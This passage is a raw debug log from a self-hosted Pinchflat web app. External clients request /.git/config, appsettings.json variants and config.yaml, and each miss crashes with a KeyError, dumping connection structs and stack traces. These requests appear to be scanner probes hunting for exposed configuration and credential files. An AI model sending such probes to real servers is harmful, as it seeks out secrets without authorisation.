+https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9710.0>, params: %{}, path_info: ["appsettings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/appsettings.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMV (truncated) 15:21:56.985 [info] GET /.git/config 15:21:56.985 [debug] QUERY OK source="settings" db=0.0ms idle=196.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.985 [debug] QUERY OK source="settings" db=0.0ms idle=195.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.985 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:56.986 [error] #PID<0.9712.0> running PinchflatWeb.Endpoint (connection #PID<0.9711.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9711.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50712}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "x-forwarded-for" => "31.56.58.134", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "31.56.58.134" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9712.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0"}, {"x-forwarded-for", "31.56.58.134"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "31.56.58.134"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBTYzVaaykC8AAc7C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9711.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50712}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "x-forwarded-for" => "31.56.58.134", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "31.56.58.134" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9711.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50712}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "x-forwarded-for" => "31.56.58.134", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "31.56.58.134" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9712.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0"}, {"x-forwarded-for", "31.56.58.134"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "31.56.58.134"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBTYzVaaykC8AAc7C"} ], scheme: :http, script_name (truncated) 15:21:57.022 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:57.205 [info] GET /appsettings.Development.json 15:21:57.206 [debug] QUERY OK source="settings" db=0.1ms idle=248.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:57.206 [debug] QUERY OK source="settings" db=0.0ms idle=248.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:57.206 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:57.206 [error] #PID<0.9714.0> running PinchflatWeb.Endpoint (connection #PID<0.9713.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /appsettings.Development.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /appsettings.Development (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9713.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/appsettings.Development.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50728}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9714.0>, params: %{}, path_info: ["appsettings.Development"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/appsettings.Development.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBUNVNmV0x8QAAc8C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9713.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/appsettings.Development.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50728}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /appsettings.Development (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9713.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/appsettings.Development.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50728}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9714.0>, params: %{}, path_info: ["appsettings.Development"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/appsettings.Development.json", resp_body: nil, resp_cookies: %{}, (truncated) 15:21:57.440 [info] GET /appsettings.Production.json 15:21:57.440 [debug] QUERY OK source="settings" db=0.2ms idle=454.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:57.441 [debug] QUERY OK source="settings" db=0.0ms idle=455.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:57.441 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:57.441 [error] #PID<0.9716.0> running PinchflatWeb.Endpoint (connection #PID<0.9715.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /appsettings.Production.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /appsettings.Production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9715.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/appsettings.Production.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50730}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9716.0>, params: %{}, path_info: ["appsettings.Production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/appsettings.Production.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBVFR2UbbO3MAAc9C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9715.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/appsettings.Production.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50730}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /appsettings.Production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9715.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/appsettings.Production.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50730}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9716.0>, params: %{}, path_info: ["appsettings.Production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/appsettings.Production.json", resp_body: nil, resp_cookies: %{}, resp_head (truncated) 15:21:57.677 [info] GET /config.yaml 15:21:57.677 [debug] QUERY OK source="settings" db=0.1ms idle=471.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:57.678 [debug] QUERY OK source="settings" db=0.0ms idle=471.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:57.678 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:57.678 [error] #PID<0.9718.0> running PinchflatWeb.Endpoint (connection #PID<0.9717.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9717.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50742}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9718.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBV9zQxDWQZkAAc-C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9717.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50742}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: 